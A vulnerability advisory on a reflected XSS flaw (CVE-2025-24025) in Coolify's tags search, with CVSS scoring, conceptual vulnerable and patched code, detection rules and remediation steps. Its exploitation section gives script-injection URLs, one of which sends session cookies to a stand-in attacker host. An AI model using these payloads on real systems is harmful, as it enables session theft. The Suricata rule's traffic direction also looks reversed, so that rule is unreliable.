CVE-2025-24025

Executive Summary

CVE-2025-24025 is a reflected cross-site scripting (XSS) vulnerability in Coolify, an open-source and self-hostable tool for managing servers, applications, and databases. The vulnerability exists in the tags page, where a user-supplied search query is reflected in an error modal without proper sanitization or encoding when no results are found. An authenticated attacker can craft a malicious search query containing JavaScript payloads, which will execute in the context of the victim's browser session. This can lead to session hijacking, credential theft, or further compromise of the Coolify instance. The vulnerability is fixed in version 4.0.0-beta.380.

Supply Chain & Package Security

Coolify is a self-hosted application typically deployed via Docker or directly on a server. The vulnerability is not in a package dependency but in the application's own codebase. However, users should ensure they are pulling the correct, patched Docker images from the official source to avoid supply chain risks.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N
• Base Score: 5.4 (Medium)
• Attack Vector (AV): Network (N) - The vulnerability is exploitable over the network.
• Attack Complexity (AC): Low (L) - No special conditions are required for exploitation.
• Privileges Required (PR): Low (L) - An attacker needs a valid user account to access the tags page.
• User Interaction (UI): Required (R) - The victim must click on a crafted link or visit a page with the malicious query.
• Scope (S): Changed (C) - The vulnerable component impacts resources beyond its security scope.
• Confidentiality (C): Low (L) - Limited information disclosure is possible.
• Integrity (I): Low (L) - Limited modification of data is possible.
• Availability (A): None (N) - No impact on availability.

Threat Level: Medium. While the CVSS score is medium, the impact is significant in a self-hosted environment where the Coolify instance may have access to sensitive infrastructure.

Deep Dive & Mechanics

The vulnerability resides in the tags page of Coolify. When a user performs a search for tags and the search yields no results, the application displays an error modal. The user's search query is directly reflected in this modal without proper output encoding. This allows an attacker to inject arbitrary HTML and JavaScript.

Root Cause: The application fails to sanitize or encode the user input before rendering it in the error message. This is a classic case of reflected XSS.

Attack Flow:

1. An attacker with a valid Coolify account crafts a malicious URL containing a JavaScript payload in the search parameter.
2. The attacker sends this URL to a victim (e.g., via phishing email or social engineering).
3. The victim, who is authenticated to Coolify, clicks the link.
4. The Coolify server processes the request, performs the search, finds no results, and renders the error modal with the attacker's payload.
5. The victim's browser executes the malicious JavaScript.
6. The attacker can then steal session cookies, perform actions on behalf of the victim, or exfiltrate data.

Vulnerable vs. Patched Code

Vulnerable Code (Conceptual):

// Vulnerable: Directly reflecting user input without encoding
function showErrorModal(query) {
    const modal = document.getElementById('error-modal');
    modal.innerHTML = '<p>No results found for: ' + query + '</p>';
    modal.style.display = 'block';
}

Patched Code (Conceptual):

// Patched: Using textContent to safely set the text
function showErrorModal(query) {
    const modal = document.getElementById('error-modal');
    const message = document.createElement('p');
    message.textContent = 'No results found for: ' + query;
    modal.innerHTML = '';
    modal.appendChild(message);
    modal.style.display = 'block';
}

The patched version uses textContent instead of innerHTML, which automatically encodes HTML entities and prevents script injection.

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• A valid Coolify user account.
• Network access to the Coolify instance.

Exploit Payload:

https://coolify.example.com/tags?search=<script>alert('XSS')</script>

Step-by-Step Exploitation:

1. Log in to Coolify.
2. Navigate to the tags page.
3. In the search bar, enter: <script>alert('XSS')</script>
4. Click search. The error modal will display and the JavaScript will execute.

Advanced Payload for Session Hijacking:

https://coolify.example.com/tags?search=<script>document.location='https://attacker.com/steal?cookie='+document.cookie</script>

Blue Team (Detection & Prevention)

Detection:

• Monitor web server logs for requests to /tags with suspicious search parameters containing <script> or other HTML tags.
• Use a Web Application Firewall (WAF) to block requests with malicious payloads in the search parameter.
• Implement Content Security Policy (CSP) headers to mitigate the impact of XSS.

Prevention:

• Upgrade to Coolify version 4.0.0-beta.380 or later.
• Apply input validation and output encoding to all user-supplied data.
• Use a security scanner to identify similar vulnerabilities in other parts of the application.

Indicators of Compromise (IOCs)

• Network IOCs:
  • HTTP requests to /tags with search parameter containing <script> tags.
  • Outbound connections to known malicious domains from the Coolify server.
• Host IOCs:
  • Unusual JavaScript files or scripts in the browser's local storage.
  • Modified browser settings or extensions.
• Log IOCs:
  • Web server logs showing requests with encoded or unencoded XSS payloads in the search parameter.

Detection Engineering

YARA Rule

rule CVE_2025_24025_Coolify_XSS {
    meta:
        description = "Detects reflected XSS attempts against Coolify tags page"
        author = "Valters IT"
        date = "2025-02-20"
        reference = "CVE-2025-24025"
    strings:
        $payload1 = /search=<[^>]*script[^>]*>/
        $payload2 = /search=.*%3Cscript%3E/
        $payload3 = /search=.*%3C%2Fscript%3E/
    condition:
        any of them
}

Sigma Rule

title: Coolify Reflected XSS Attempt
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects attempts to exploit CVE-2025-24025 by injecting XSS payloads into the search parameter of the Coolify tags page.
author: Valters IT
date: 2025/02/20
logsource:
    category: webserver
    product: apache
    service: accesslog
detection:
    selection:
        cs-uri-query|contains:
            - 'search=<script>'
            - 'search=%3Cscript%3E'
            - 'search=javascript:'
    condition: selection
falsepositives:
    - Legitimate use of HTML tags in search queries (unlikely)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2025-24025 Coolify Reflected XSS Attempt"; flow:to_server,established; content:"/tags"; http_uri; content:"search="; http_uri; pcre:"/search=<[^>]*script[^>]*>/i"; classtype:web-application-attack; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Upgrade Coolify to version 4.0.0-beta.380 or later.
2. Apply a WAF rule to block requests with XSS payloads in the search parameter.
3. Review user accounts for any signs of compromise.

Long-Term Measures:

1. Implement a Content Security Policy (CSP) to restrict script execution.
2. Conduct regular security audits and penetration testing.
3. Educate users about phishing attacks that may exploit this vulnerability.
4. Enable logging and monitoring for suspicious activities.

Patch Details: The fix is included in Coolify version 4.0.0-beta.380. Users should upgrade immediately. The patch ensures that user input is properly encoded before being displayed in the error modal.

Valters IT
Securing Your Digital Infrastructure